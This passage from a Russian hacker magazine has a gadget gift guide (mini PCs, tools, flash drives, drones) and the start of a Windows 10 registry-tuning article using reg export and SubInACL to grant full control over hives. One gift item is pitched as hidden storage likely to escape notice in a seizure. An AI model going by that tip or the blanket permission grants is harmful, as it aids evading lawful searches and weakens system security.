128 Гбайт пос тоян ной памяти, дву мя USB‐пор тами, HDMI‐выходом и Windows
10 на бор ту (как вари ант: Ubuntu). Цена: 30 тысяч руб лей, что очень неп лохо
для прак тичес ки иде аль ного инс тру мен та вар драй вера.
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OCKEL SIRIUS B

Офи циаль ный сайт
На  вид  эта  шту ка  похожа  на  внеш ний  жес ткий  диск,  но  в  реаль нос ти

это целый компь ютер с пол ноцен ной Windows 10. Дос таешь его из широких
шта нин,  под клю чаешь  монитор,  кла виату ру  и  мышь  и  можешь  работать.
Харак терис тики,  конеч но,  соот ветс тву ют раз меру и цене: 4  Гбайт опе ратив‐ 
ной памяти, 32 или 64 Гбайт фле ша, чип Atom x5‐Z8350. Сто ит такой компь‐ 
ютер от 299 дол ларов, дос тавку в Рос сию мож но орга низо вать, если заказы‐ 
вать через Indiegogo.
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ASUS VIVOSTICK PC

Офи циаль ный сайт
Еще один пор татив ный компь ютер с Windows 10 (редак ции Home), на этот

раз  в  сов сем  мини атюр ном  кор пусе  и  встав ляет ся  пря мо  в  HDMI.  На  боку
зато  есть  два  USB  и  ауди овы ход.  Да,  2  Гбайт  опе ратив ки  и  32  Гбайт
флеш‐памяти  —  это  малова то,  а  все  тот  же  Atom  x5‐Z8350  —  далеко
не  самый  быс трый  про цес сор.  Но  для  меди ацен тра  или  еще  каких‐нибудь
забав дол жно хва тить. Про дает ся у нас и сто ит око ло 10 тысяч руб лей.
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LENOVO X220

Wikipedia
Ес ли говорить про подар ки, которые хотелось бы получить самому, то тут

час тень ко в вер хних строч ках хит‐парада ока зыва ется новый ноут бук. А если
покупа ешь  сам  на  подарен ные  день ги,  то  иног да  сой дет  и  ста рый  ноут бук.
В общем, как бы ни повер нулось дело, рекомен дуем Lenovo X220.

Этот  ноут  —  нес таре ющая  хакер ская  клас сика.  От  X201  до  X230  —  те
самые куль товые «Леновы», в которых прек расно все — от кла виату ры до воз‐ 
можнос ти  перело мать  и  починить  каж дый  сан тиметр.  Неуби ваемый  дизайн,
воз можность впих нуть до 16 Гбайт опе ратив ки, GSM‐модуль,  накатить 

, если ты firmware‐хакер, и еще мно го чего. Надеж ный про верен ный ноут.
core‐

boot
Мы  в  редак ции  «Хакера»  бра ли  не  одну  X220.  Совету ем  перед  покуп кой

вни матель но  пос мотреть  компь ютер,  а  в  иде але  вскрыть  и  пос мотреть
материн ку.  Ско рее  все го,  ты  обна ружишь  пор ванную  изо ляци онную  бумагу,
стро итель ный скотч, отсутс твие полови ны деталей и нерабо тающую лам почку
под свет ки. Это — нор маль но, сме ло сбра сывай цену с двад цати тысяч руб‐ 
лей до пяти, тор гуясь с барыгой на останках Митин ско го ради орын ка в Мос‐ 
кве  (лич ный  опыт  :)).  А  затем  беги  в  бли жай ший  магаз,  покупай  16  Гбайт
памяти,  SSD  и  нас лаждай ся  компь юте ром  для  любых  гик‐экспе римен тов
в пре делах 20 тысяч руб лей.

Ах да, не забудь про нак лей ки на крыш ку. А то будет не тру :).
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TISHRIC 60CM PCI-E EXTENDER

AliExpress
Все го  за 250 руб лей этот рай зер поз волит под клю чить  (еще одну)  виде‐ 

окар ту с интерфей сом PCI‐Express x16 и разъ емом PCI‐E x1. Тре бует под клю‐ 
чения к пор там USB 3.0 (для переда чи дан ных) и SATA power (питание). Дли на
ком плектно го  кабеля  —  60  см.  Он  поз волит  вынес ти  объ емную  и  горячую
видюху за пре делы кор пуса. Науч ные рас четы, май нинг, перебор паролей —
виде окар там всег да най дут ся вычис литель но слож ные задачи.
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GERBER CENTER-DRIVE MULTI-TOOL

Офи циаль ный сайт
Удоб ный муль титул — вещь бес ценная, но и выбор тут огромный. Помимо

про дук ции всем извес тных Leatherman и Victorinox, есть и необыч ные новин ки
дру гих  про изво дите лей.  Нап ример,  аме рикан ская  фир ма  Gerber  недав но
выпус тила  инс тру мент  под  наз вани ем  Center‐Drive,  глав ное  дос тоинс тво
которо го —  отвер тка,  которая  не  сме щена  отно ситель но  цен траль ной  оси.
Надо ли говорить, что отвер тка в нашем деле чуть ли не самый важ ный инс‐ 
тру мент? Кро ме нее, есть плос когуб цы, нож, пила, откры вал ка и про чие при‐ 
ятные  мелочи  вро де  встро енных  в  плос когуб цы  кусачек,  шила  и  дер жателя
для  смен ной  биты.  Все го  в  муль титуле  16  инс тру мен тов  плюс  ком плект
из трид цати смен ных бит для отвер тки. Цена на Amazon — 85 дол ларов, там
же мож но офор мить дос тавку в Рос сию.
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LEATHERMAN TREAD BRACELET

Офи циаль ный сайт
Нет, этот мод ный аксессу ар не сбе жал в нашу под борку из жур нала «Кос‐ 

мополи тен».  Это  пред ста витель  набира юще го  популяр ность  вида  муль‐ 
титулов,  которые  носят  на  запястье. Сни маешь,  выбира ешь  нуж ный  инс тру‐ 
мент  и  исполь зуешь осталь ной брас лет  как  руко ять.  Звенья  сни мают ся,  что
поз воля ет  подс тро ить  раз мер  и  выб рать  самые  нуж ные  инс тру мен ты.
У Leatherman Tread вхо дит 29 звень ев — мно жес тво отверток и клю чей, пара
крю ков, откры вал ка, стек лорез и булав ка для извле чения сим ки из телефо на.
Цве та: чер ный или сталь ной, цена — 175 дол ларов, есть дос тавка с Amazon.
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IFIXIT PRO TECH TOOLKIT

Офи циаль ный сайт
Ра зоб рать все на све те поможет  хороший набор инс тру мен тов. На AliEx‐

press  их  огромный  выбор,  но  если  хочешь  гаран тии  качес тва,  то  оче вид ный
выбор — это Pro Tech Toolkit фир мы iFixit. Он ори енти рован в пер вую оче редь
на  вскры тие  элек тро ники  вро де  мобиль ных  телефо нов,  план шетов  и  ноут‐ 
буков. В него вхо дит более 70 инс тру мен тов: отвер тка со смен ными битами,
гла дил ки для вскры тия кор пусов, антиста тичес кий брас лет и мно гое дру гое.
Удоб ная  сум ка  поможет  не  рас терять  все  богатс тво.  Кста ти,  про сят
за него 60 дол ларов и готовы отпра вить в Рос сию.
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ПА ЯЛЬ НАЯ СТАН ЦИЯ HAKKO C ЖАЛОМ
T12

, Офи циаль ный сайт (жало) рос сий ский импортер
Па яль ная  стан ция  Hakko  —  отличный  выбор  на  сме ну  тому  барах лу,

которым  ты,  твой  друг  или  осо бо  кру тая  под руга  вынуж дены  поль зовать ся,
ког да надо что‐то куда‐то при паять. Помимо пор татив ности и мод ного вида,
стан ции име ют ряд пре иму ществ:

ра зог рев за пару секунд;•
хо рошо дер жит тем перату ру;•
воз можность калиб ровки под каж дое жало;•
воз можность переп рошив ки, бла го кон трол лер на базе STM32;•
воз можность соб рать самому из набора (тема на любите ля).•

Ес ли  крат ко,  то  с Hakko и  T12 паять  лег ко и  при ятно,  а  воз можность  калиб‐ 
ровки поз воля ет  кон тро лиро вать  тем перату ру жала с  точ ностью до  гра дуса.
Цена самого жала — 1750 руб лей, паяль ных стан ций — от 15 тысяч руб лей,
но это сто ит того. В общем, про щай, Lukey, при вет, Hakko!

Недоро гая паяль ная стан ция KSGER и муль тиметр APPA
Ес ли  подыс кива ешь  недоро гие  и  неболь шие  по  раз меру  устрой ства
для экспе римен тов с железом, обра ти вни мание на эту пароч ку:

па яль ная  стан ция 
на STM32 за 45 дол ларов;

• KSGER  V2.01  T12  STM32  OLED  Soldering  Station

муль тимет ры  . Цены варь иру ются.• APPA iMeter CARD TYPE MULTIMETERS
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01 DIMENSIONING INSTRUMENT

Офи циаль ный сайт
Так называ емый «прос транс твен ный изме ритель» фир мы  InstruMMents —

это  необыч ный  новый  при бор,  который  поз воля ет  точ но  обме рить  любой
трех мерный  объ ект.  Прос то  про каты ваешь  им  по  дуге,  и  ее  парамет ры
переда ются в при ложе ние на телефо не. Отличный подарок любому, кто увле‐ 
кает ся  3D‐модели рова нием  или  час то  что‐то  мас терит.  Цена  —  105  дол‐ 
ларов,  есть  дос тавка  в  Рос сию.  В  качес тве  наконеч ника  мож но  выб рать
каран даш, руч ку или сти ло для план шета.
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3DOODLER CREATE

Офи циаль ный сайт
Мы решили не вклю чать в наш спи сок 3D‐прин теры, пос коль ку это все же

ско рее  про фес сиональ ное  обо рудо вание,  которое  нуж но  не  каж дому.
А вот 3D‐руч ка, которая рису ет плас тиком, — это недоро гая и забав ная вещь,
с  которой инте рес но побало вать ся.  Каж дый,  кто  ког да‐то  вла дел  совет ским
выжига телем  по  дереву,  дол жен  пус тить  нос таль гичес кую  сле зу.  Вари антов
моделей  3D‐ручек  —  мас са.  3Doodler  Create  сто ит  в  рай оне  9000  руб лей,
но  если  это  не  твой  бюд жет,  то  ты  без  тру да  най дешь  китай ские  ана логи
в два‐три раза дешев ле.

Продолжение статьи →
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KINGSTON DATATRAVELER LOCKER+ G3

Офи циаль ный сайт
Быс трая  и  надеж ная  флеш ка  со  встро енным  крип топро цес сором.  Он

обес печива ет  шиф рование  по  алго рит му  AES  с  дли ной  клю ча  256  бит
в режиме сцеп ления бло ков шиф ртекста (CBC). Все крип тогра фичес кие про‐ 
цеду ры  про исхо дят  непос редс твен но  в  его  защищен ной  памяти.  Никакой
соф товой фиг ни. Толь ко hardware, толь ко hardcore!

Как и у дру гих быс трых фле шек, ско рость зависит от чис ла исполь зован‐ 
ных  каналов  кон трол лера.  На  каж дый  канал  под клю чает ся  своя мик росхе ма
памяти, поэто му ско рость кор релиру ет с объ емом.

При  работе  нес коль ких  чипов  NAND,  быс тро го  кон трол лера  Phison
PS2313 и  крип топро цес сора неиз бежен наг рев. Поэто му флеш ка  помеще на
в метал личес кий кор пус для луч шего охлажде ния и механи чес кой проч ности.
Сто имость фле шек начина ется с 20 дол ларов за 8 Гбайт.
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TRANSCEND JETFLASH 750

Офи циаль ный сайт
Быс трая флеш ка  с  боль шим  ресур сом  переза писи.  В  ней  гаран тиру ется

исполь зование  чипов  MLC  NAND,  а  не  копе ечных  TLC‐мик росхем  памяти.
Рекомен дует ся для запус ка пор тей бл‐соф та и ОС в Live‐режиме.

У JF750 хорошее охлажде ние за счет длин ного кор пуса и есть инди катор
активнос ти, что в наше вре мя — боль шая ред кость. Плас тиковый кор пус дос‐ 
таточ но проч ный и повыша ет ремон топри год ность (извлечь дан ные нап рямую
с  чипов  памяти  —  не  проб лема).  Самое  при ятное  —  адек ватная  цена
от 800 руб лей. Ана логи дру гих про изво дите лей сто ят гораз до дороже.
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MUSHKIN IMPACT

Amazon
Еще одна быс трая и надеж ная флеш ка. Внут ри — ско рос тной кон трол лер

Phison  PS2251‐08  и  чипы  MLC  NAND  про изводс тва  Toshiba.  К  сожале нию,
офи циаль но  в  Рос сию  не  пос тавля ется,  а  на  Ама зоне  обой дет ся  при мер но
в 40 дол ларов.
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EVTRAN USB 3.0 DIY-KIT

AliExpress
Ка кой бы ни была флеш ка, дарить ее — не очень весело даже себе. Куда

менее  зауряд ный  подарок —  это  набор,  из  которо го  мож но  соб рать  собс‐ 
твен ную  флеш ку.  Сде лать  это  мож но  с  помощью  набора  eVtran,  паяль ной
стан ции для SMD‐мон тажа и прог рамма тора. Кон трол лер  Innostor  IS903 уже
рас паян  на  пла те,  а  чипы  памяти  при обре тают ся  отдель но.  Зато  ты  волен
выб рать любой тип надеж ной памяти — eMLC или даже SLC. Обой дет ся такой
конс трук тор для маль чиков пос тарше в 600 руб лей.

42

DJI SPARK

Офи циаль ный сайт
Пор татив ный квад рокоп тер для исполь зования дома и на ули це. В воз духе

может  дер жать ся  до  16  минут  и  уле тать  на  два  километ ра,  не  перес тавая
переда вать  видео. Сре ди  инте рес ных фич,  которые  ста нут  допол нитель ным
раз вле чени ем  и  помощью  нович кам,  —  интеллек туаль ные  режимы  полетов
и  жес товое  управле ние.  По  мер кам  квад рокоп теров  Spark  отно ситель но
дешев — 40–45 тысяч руб лей. Ну а по мер кам подар ков, конеч но, отно сит ся
к рос кошным.
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PARROT SWING

Офи циаль ный сайт
Ин терес ный  вари ант  квад рокоп тера  подешев ле  и  помень ше —  это  про‐ 

дукт кон куриру ющей фир мы Parrot. У Swing нет камеры, он ско рее пред назна‐ 
чен  для  отта чива ния  мас терс тва  пилота жа.  Ори гиналь ная  конс трук ция  поз‐ 
воля ет  ему  вер тикаль но  под нимать ся,  а  затем  лететь  подоб но  самоле ту.
Это  откры вает  дорогу  впе чат ляющим  воз душным  трю кам,  которые  мож но
исполнять как вжи вую, так и заранее зап рограм мировав на прос тень ком язы‐ 
ке. Сто ит такое чудо 10–12 тысяч руб лей.
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TILE MATE

Офи циаль ный сайт
В мире, где все сле дят за все ми, мы до сих пор вынуж дены искать связ ку

клю чей, ори енти руясь с помощью ана лого вых сен соров, встро енных в наши
тела. Почему нель зя прос то вклю чить смар тфон и уви деть,  где они находят‐ 
ся? Потому что для это го нужен спе циаль ный бре лок. Tile Mate — Bluetooth‐
маячок  в фор ме бре лока. Прос то  цеп ляешь его  к  клю чам,  а  ког да  они  про‐ 
падут  из  виду —  запус каешь  при ложе ние  и  видишь  пос леднее  мес тополо‐ 
жение либо зас тавля ешь клю чи издать звук. Сис тема работа ет и в обратную
сто рону — нажима ешь два раза на бре лок, и смар тфон изда ет звук. Цена —
20  дол ларов  за  одну  шту ку  или  100  дол ларов  за  ком плект  из  вось ми  бре‐ 
локов.
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POWERUP

Офи циаль ный сайт
Но вые модели MacBook и MacBook Pro, как извес тно, лишены каких‐либо

пор тов, кро ме USB‐C. Через них работа ет даже заряд ка! Конеч но же, в про‐ 
даже сра зу появи лись раз ношерс тные дон глы, хабы и стан ции. PowerUp отно‐ 
сит ся к наибо лее эле ган тным вари антам: это заряд ка, в которую встро ен хаб
на  три  USB‐A:  удоб но  заряжать  дру гие  устрой ства  или  под клю чать  флеш ки
и внеш ние дис ки. В общем, если у тво его дру га новый MacBook и ты уже слы‐ 
шал, как он вор чит что‐то о пор тах, то PowerUp — это сто ящий подарок. Кста‐ 
ти, сто ит он 129 дол ларов, есть дос тавка в Рос сию.
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GRIFFIN BREAKSAFE

Офи циаль ный сайт
В  безум ном  мире  Apple  про вод  может  сто ить  столь ко,  что  сам  по  себе

сой дет за подарок. Но Griffin BreakSafe — не прос той про вод. Это оче ред ной
аксессу ар,  который  воз вра щает  новым  мак букам  уте рян ные  фичи.  В  осно‐ 
вании BreakSafe — маг нитные  кон такты,  которые разъ еди няют ся,  если  про‐ 
вод дер нуть или спот кнуть ся об него, — поч ти точь‐в‐точь такие же, как были
в  преж нем  эппловском  кон некто ре  MagSafe.  В  оте чес твен ных
интернет‐магази нах такой про водок сто ит в рай оне 3 тысяч руб лей.
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XIAOMI USB-C CHARGER

AliExpress
Этот  адап тер  быс тро  заряжа ет  все:  ноут буки Dell  и  HP  (смот ри  на  мощ‐ 

ность  ори гиналь ного  адап тера),  MacBook,  смар тфо ны  Moto  Z,  Lumia
950  и  950XL,  а  так же  устрой ства  с Quick Charge  3.0  (про вери ли,  работа ет).
Более того, с соот ветс тву ющим кабелем USB‐C → Lightning за пол тора часа
заряжа ется и iPad Pro 12,9. Единс твен ное устрой ство, которое «не завелось»
от  это го  адап тера,  —  смар тфон  Gigaset  ME,  а  OnePlus  5  спо собен  взять
от адап тера не более 1,5 А при нап ряжении 5 В. На AliExpress эта шту ка сто ит
в рай оне 1400 руб лей.
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SONY MP-CL1

Офи циаль ный сайт
Это  пор татив ный  про ектор  весом  200  грам мов,  который мож но  под клю‐ 

чить к телефо ну или любому дру гому устрой ству и смот реть кино в HD (1080 ×
720).  Снаб жен  сис темой  лазер ной  фокуси ров ки,  что  избавля ет  вла дель ца
от необ ходимос ти исполь зовать жес тко задан ное рас сто яние. От батарей ки
работа ет до двух  часов:  на  «Пла нету стра ха»  хва тит,  на  «Кри миналь ное  чти‐ 
во» —  толь ко с дозаряд кой. Подарок недеше вый — отдать при дет ся  в рай‐ 
оне 35 тысяч руб лей. Так что дарить его луч ше все го себе любимо му. :‐)
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LOGITECH WIRELESS CRAFT

Офи циаль ный сайт
Logitech  ста биль но  год  за  годом  выкаты вает  кла виату ры  и  мыши  со  все

новыми при дум ками и при бам басами. Модель Craft — это бес про вод ная кла‐ 
виату ра с кру тящим ся колеси ком в левом вер хнем углу (при вет ста рине Griffin
PowerMate!). Еще из при ятно го — под свет ка и блок циф ровых кла виш. Заяв‐ 
лена пол ная сов мести мость с про дук тами Microsoft и Adobe: если  твой друг
не вылеза ет из Photoshop, Premiere или Audition,  то это дос той ный подарок.
Craft про дает ся в Рос сии и сто ит 10–12 тысяч руб лей.
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SNES CLASSIC

Офи циаль ный сайт
Super Nintendo — одна из луч ших кон солей всех вре мен и народов. Да, ее

эму лятор  будет  работать  на  всем,  что шевелит ся,  вклю чая  твой  компь ютер,
Raspberry Pi и бабуш кин телефон с дис ковым номеро наби рате лем. Но мини‐ 
атюр ная SNES с  клас сичес кими  гей мпа дами — это  авто мати чес кий  хит,  и  в
Nintendo  об  этом  зна ют.  В  ком плек те  неп лохой  и  сба лан сирован ный  набор
игр,  который  умель цы  тут  же  научи лись  рас ширять.  Прис тавка  про дает ся
у нас и сто ит 4–5 тысяч руб лей.
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BITTBOY

Офи циаль ный сайт
Ес ли  ты ищешь недоро гую  кар манную игруль ку  и  аутен тичность для  тебя

не  так  важ на,  то  можешь  пос мотреть  на   —  прис тавку,  выпол ненную
в сти ле GameBoy с 2,2‐дюй мовым IPS‐экра ном, выходом на ТВ и 300 игра ми
NES в ком плек те. Сто ит в рай оне 40 дол ларов.

BittBoy
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KINGSPEC SSD EUSB 16 ГБ DOM SSD

AliExpress
Ми ниатюр ный,  непохо жий  на  обыч ный  SSD,  скры тый  накопи тель

с  памятью  NAND  MLC,  который  под клю чает ся  пря мо  к  внут ренним  пор там
материн ской  пла ты.  На  нем  мож но  хра нить  любые  дан ные,  осо бен но  если
они записа ны в крип токон тей нере. Устрой ство выг лядит неп ривыч но, поэто му
с боль шой веро ятностью его не заметят при изъ ятии жес тких дис ков и обыч‐ 
ных фле шек. Сто ит 25 дол ларов.
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CONVOY S2+ UV 365NM LED
FLASHLIGHT

AliExpress
В отли чие от боль шинс тва безымян ных поделок с синими све тоди ода ми,

едва  зах ватыва ющи ми  ближ ний  уль тра фиолет,  это  дей стви тель но  фонарь
УФ‐спек тра  (365  нм).  С  ним  прек расно  вид ны  УФ‐мет ки  любого  типа
на докумен тах, он незаме ним для поис ка дефек тов на экра нах, пла тах, разъ‐ 
емах и повер хнос тях прак тичес ки любого типа.

За одно  с  ним  мож но  уви деть  мно жес тво  биоло гичес ких  сле дов  и  раз‐ 
личных заг рязне ний, которые не вид ны нево ору жен ным гла зом. Пом ни: в пра‐ 
вилах хороше го тона не про сить сра зу же про верить такое устрой ство, если
кому‐то его даришь. Цена на «Али» — 1600 руб лей.
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YUBIKEY

Офи циаль ный сайт
Стар тап Yubico  занима ется  выпус ком  кро хот ных  кар точек,  которые обес‐ 

печива ют  прос тую  и  удоб ную  двух фактор ную  авто риза цию.  Встав ляешь  Yu‐
bikey в USB, при каса ешь ся к сен сору, и кар та соз дает и переда ет драй веру
одно разо вый пароль на осно ве хра няще гося на Yubikey тай ного клю ча. Прог‐ 
рамма  выпол няет  обратный  алго ритм  и  убеж дает ся,  что  получен ная  пос‐ 
ледова тель ность  дей стви тель но  соот ветс тву ет  кар те.  Это  инте рес ный
подарок  для  тех,  кто  серь езно  отно сит ся  к  защите  лич ных  дан ных.  Кар ты
быва ют  в  фор мате  бре лока  или  сов сем  кро хот ные  —  что бы  удоб но  было
оста вить в USB. В Рос сии мож но най ти за 3–4 тысячи руб лей.
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SONY BSP 60

Офи циаль ный сайт
Вот мы и дош ли до стран ных безум ных гад жетов, которые кто‐то вряд ли

купит  себе,  но  с  радостью  получит  в  подарок.  Бес про вод ная  колон ка  Sony
BSP  60 —  как  раз  из  этой  катего рии. Она может  ездить  на  колеси ках. Она
под нима ет  све тящи еся  ушки,  ста новясь  похожей  на  ста рый  будиль ник. Она
понима ет голосо вые коман ды. Ну и конеч но, игра ет музыку и показы вает наз‐ 
вание  тре ка.  В  общем,  она  напоми нает  о  вре менах,  ког да  в  Sony  не  стес‐ 
нялись  делать  вся кие  чумовые  шту ки.  Сто ит,  прав да,  тоже  доволь но
чумовые 16–20 тысяч руб лей.
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OSWATCH MK II

Офи циаль ный сайт
OSWatch  Mk  II  —  опен сор сные  умные  часы.  Они  сос тоят  из  кор пуса,

напеча тан ного  на  3D‐прин тере,  и  трех  плат  внут ри  него:  модуля Microduino
ATmega644PA  с  мик рокон трол лером  ATmega1284P,  чипа  Bluegiga
BLE112 и регуля тора нап ряжения. Часы под клю чают ся  к  смар тфо ну  по Blue‐
tooth  LE  и  могут  быть  изго тов лены  самос тоятель но  по  откры тым  спе цифи‐ 
каци ям.  Сто имость  про екта  варь иру ется  в  зависи мос ти  от  ком плек тующих
и жела емых модифи каций. Все они деталь но опи саны  . Да,
до Нового года соб рать такой подарок ты вряд ли успе ешь, зато это отличный
спо соб про вес ти праз дни ки!

на этой стра нич ке
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DEF CON 25 GLOW IN THE DARK FIDGET
SPINNER

eBay
Ес ли твой друг слиш ком слаб, что бы сжать кис тевой эспандер, подари ему

спин нер с сим воликой DEF CON 25 за 10 дол ларов. Хоть чем‐то будет раз‐ 
минать руки в отры ве от кла виату ры. :)
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SUNGI BLUETOOTH LASER PROJECTION
KEYBOARD

AliExpress
Эта лазер ная про екци онная кла виату ра поз волит тебе прев ратить любую

глад кую  повер хность  в  све тящу юся  кла виату ру  с  англо языч ной  рас клад кой.
Выг лядит  совер шенно  фан тасти чес ки,  осо бен но  в  тем ноте.  И  хоть  она
не подой дет для ско рос тно го набора тек ста и игр, тре бующих быс трой реак‐ 
ции, зато поз воля ет ощу тить себя нем ного в будущем и сто ит все го 1600 руб‐ 
лей.
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MYCESTRO

Офи циаль ный сайт
Мыш ки  на  Новый  год  дарят  толь ко  далекие  от  тех нологий  люди.  Нас‐ 

тоящий подарок гику — это мыш ка без мыш ки! Mycestro — неч то вро де коль‐ 
ца, которое поз воля ет управлять кур сором дви жени ем паль ца. Это не столь ко
пов седнев ное  решение,  сколь ко  более  инту итив ный  ана лог  тач паду  в  ситу‐ 
ациях,  ког да  нас тоящая  мышь  недос тупна.  Воз можно,  тому,  кому  ты  его
подаришь, такой девайс и не будет осо бо нужен, но он уж точ но ори гиналь‐ 
нее  игро вых  мышей  и  кла виатур  с  под свет кой  кла виш.  Сто ит  130  дол ларов
плюс 30 дол ларов за дос тавку в Рос сию.
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ICE ORB

, Amazon Madrobots
Bluetooth‐колон ка — вещь обы ден ная, она есть у мно гих. Но мно го ли ты

зна ешь  вла дель цев  левити рующих  колонок?  ICE  Orb  —  колон ка‐шар,
парящая на высоте 10 мм над осно вани ем. На мес те ее удер жива ют маг ниты,
а пита ется она с помощью встро енных акку муля торов. При желании колон ку
мож но унес ти на пляж, а затем вер нуть обратно на пос тамент для под заряд‐ 
ки. Цена воп роса: 10 700 руб лей.
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ЧА СЫ — ЖЕС ТКИЙ ДИСК

Ва риан ты на Etsy
Прош ли  те  вре мена,  ког да  гики  вскры вали  вышед шие  из  строя  жес ткие

дис ки  и  вешали  их  на  сте ну.  Сегод няшние  дис ки —  это  набор  мик росхем,
и никакой лам повос ти в них нет. Зато теперь на сте ну мож но повесить нас‐ 
тенные  часы,  выпол ненные  в  фор ме  жес тко го  дис ка.  Есть  мас са  про изво‐ 
дите лей, дела ющих такие часы. Некото рые исполь зуют бутафор ские жес ткие
дис ки, но луч ше, конеч но же, выб рать соб ранные из нас тояще го ста рого дис‐ 
ка. Ну или соб рать его самому.
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SPHERO BB-8

Офи циаль ный сайт
Ро боты Sphero — и без того забав ные и кру тые шту кови ны: рез во ката ются

по  полу,  ведомые  с  телефо на  джой сти ком  или  самодель ной  прог раммой.
Роботы  Sphero,  сти лизо ван ные  под  геро ев  «Звез дных  войн»,  кру че  еще  на
порядок. Если  твой друг — фанат Star Wars,  сме ло дари ему поч ти  что нас‐ 
тояще го BB‐8, BB‐9E или ста рину R2‐D2. Отдать при дет ся 10–15 тысяч руб‐ 
лей в зависи мос ти от ком плек тации.
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FLESHLIGHT

Офи циаль ный сайт
Ес ли  у  тво его  дру га  нет  под руги  и  у  вас  обо их  начис то  отсутс тву ют  ком‐ 

плек сы, то... пос той, этот совет чуть не зашел куда‐то не туда. В общем, возь‐ 
ми и подари ему Fleshlight. С одной сто роны, это будет как бы шут ка, с дру‐ 
гой — мы точ но зна ем, что без дела этот гад жет не про лежит.
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ПОД ПИСКА НА «ХАКЕР»
Под писка в подарок

Из  сов сем  уж  оче вид ных  вещей  —  наш  подароч ный  сер тификат
на  годовую  под писку  на  «Хакер».  Кста ти,  купив  ее  в  подарок,  ты  уве личишь
свою накопи тель ную скид ку. Дос тупно пря мо сей час и пря мо здесь!
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В сво ем раз витии Windows прош ла дол гий путь от гра фичес‐ 
кой  надс трой ки  над  MS‐DOS  до  кли ент ской  надс трой ки
над  облачным  сер висом  Microsoft.  Прев ратить  ее  в  пол‐ 
ноцен ную опе раци онку вряд ли удас тся, но, если под кру тить
глу бокие  нас трой ки,  она  ста нет  чуточ ку  безопас нее  и  не
такой сво енравной.

WARNING

Преж де  чем  экспе римен тировать  с  реес тром
и  служ бами,  совету ем  соз дать  точ ку  вос ста нов‐ 
ления, а еще луч ше — сде лать пол ный бэкап сис‐ 
темно го раз дела.

БЭКАПИМ РЕЕСТР
Один  из  спо собов  сде лать  бэкап  реес тра —  это  запус тить  в  кон соли  REG
EXPORT.

reg export HKLM hklm_backup.reg

Та кой  коман дой  мы  зада ем  соз дание  фай ла    со  всей
информа цией из вет ки  . Ана логич но пов торя ем коман ду
для дру гих веток реес тра (см. скрин шот).

hklm_backup.reg
HKEY_LOCAL_MACHINE

Соз даем бэкап реес тра

Так же мож но бэкапить отдель ные клю чи перед их изме нени ем. Если что‐то
пой дет не так, ты всег да отка тишь изме нения прос тым запус ком .reg‐фай ла.

ПОЛУЧАЕМ ДОСТУП К РЕЕСТРУ
Прог раммис ты  нак лепали  десят ки  раз ных  тви керов  сис темы.  Все  они  обе‐ 
щают чудеса и работа ют неп розрач но, но реаль но все их фун кции сво дят ся
к трем прос тым вещам:

из менению отдель ных клю чей реес тра;•
ос танов ке невос тре бован ных служб;•
уда лению или добав лению заданий пла ниров щика.•

Час то эти про цеду ры вза имос вязаны. Нап ример, запущен ная служ ба не даст
уда лить  свой  ключ  реес тра  или  авто мати чес ки  вос ста новит  отме нен ное
задание в пла ниров щике. Поэто му мы рас смот рим каж дую задачу под робно,
не огра ничи ваясь стан дар тны ми рекомен даци ями.

Нач нем с получе ния дос тупа к реес тру. Это отдель ная проб лема в новых
Windows, осо бен но десятой вер сии. По умол чанию адми нис тра тор не может
изме нить  зна чения  клю чей  во  мно гих  вет ках  реес тра  или  уда лить  фай лы
по сво ему усмотре нию. Он вро де как хозя ин, но не сов сем.

Ти пич ная  схе ма  управле ния  при виле гиями  дос тупа  Windows  удив ляет
линук соида  тем,  что  сис тема  име ет  более  высокие  пол номочия,  чем  любой
акка унт в груп пе адми нов. В дефол тных нас трой ках SYSTEM может все, а Ad‐
ministrators — толь ко доз волен ное.

Ис пра вить это недора зуме ние мож но раз ными  ,
но боль шинс тво из них оставля ют брешь в сис теме и сни жают безопас ность
вмес то  того,  что бы  ее  повышать.  Поэто му  рас смот рим  более  акку рат ные
методы.  Незави симо  от  объ екта  (клю ча  реес тра,  фай ла,  катало га)  сна чала
при дет ся стать его вла дель цем и лишь затем наз начать себе пра ва дос тупа.

«хакер ски ми» спо соба ми

Ме тод 1 — через regedit
Удобс тво это го метода в том, что в нем не тре бует ся допол нитель но уста нав‐ 
ливать  какой‐либо  софт.  Неудобс тво  —  в  необ ходимос ти  задавать  раз‐ 
решения для  каж дого  кон крет ного  клю ча через  гра фичес кую обо лоч ку. Хотя
кому‐то это, наобо рот, покажет ся удоб ным.

Ме няем вла дель ца для Кор таны

Прос то запус каем от адми на  regedit,  выделя ем жела емый ключ и в  кон текс‐ 
тном меню  (вызыва ется пра вым кли ком мыши) перехо дим в параметр «Раз‐ 
решения» (Permissions),  где меня ем вла дель ца и затем про писы ваем любые
раз решения.

За даем раз решения для изме нения нас тро ек Кор таны

Ме тод 2 — через штат ную ути литу SubInACL
Ска чива ем ути литу   с сай та Microsoft. В спис ке под держи ваемых ОС
нет Windows 10, но пусть тебя это не сму щает. Про веря ли, работа ет. Прос то
пом ни, что прог рамму надо запус тить из кон соли от име ни адми нис тра тора.
Для это го удоб нее сна чала ско пиро вать   в сис темный каталог
Windows  ( ),  что бы  не  вби вать  каж дый  раз  путь
до исполня емо го фай ла.

SubInACL

SubInACL.exe
%Windir%\System32\

Ко пиру ем SubInACL в сис темный каталог

Да лее  для    нуж но  ука зать  имя модифи циру емо го  объ екта,  его  тип
и жела емое дей ствие. Объ ект может быть одно го из сле дующих типов: файл
(file),  каталог  (folder), опре делен ный ключ реес тра  (keyreg) или запись реес‐ 
тра со все ми ее дочер ними клю чами (subkeyreg).

SubInACL

Как  обыч но:  преж де  чем  наз начать  пра ва  объ екту,  нуж но  стать  его  вла‐ 
дель цем.  Два  дей ствия  лег ко  объ еди нить  в  одну  коман ду,  перечис лив  их
через про бел. Нап ример, сле дующая коман да сна чала сде лает груп пу «Адми‐ 
нис тра торы»  вла дель цем  клю ча  AutoLogger  (он  отве чает  за  трас сиров ку
событий, про исхо дящих на началь ных эта пах заг рузки ОС), а  затем пре дос‐ 
тавит адми нам пол ный дос туп к нему.

SUBINACL /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\
WMI\AutoLogger" /setowner=XTester /grant=XTester=f

Вмес то   под ставь вез де имя сво ей учет ной записи.XTester
Ис поль зуя  объ екты  типа  ,  лег ко  пол ностью  раз бло киро вать

реестр. Прос то перечис ли его кор невые вет ки по образцу ниже:
subkeyreg

subinacl /subkeyreg HKEY_LOCAL_MACHINE /grant=XTester=f
subinacl /subkeyreg HKEY_CURRENT_USER /grant=XTester=f

И так далее.
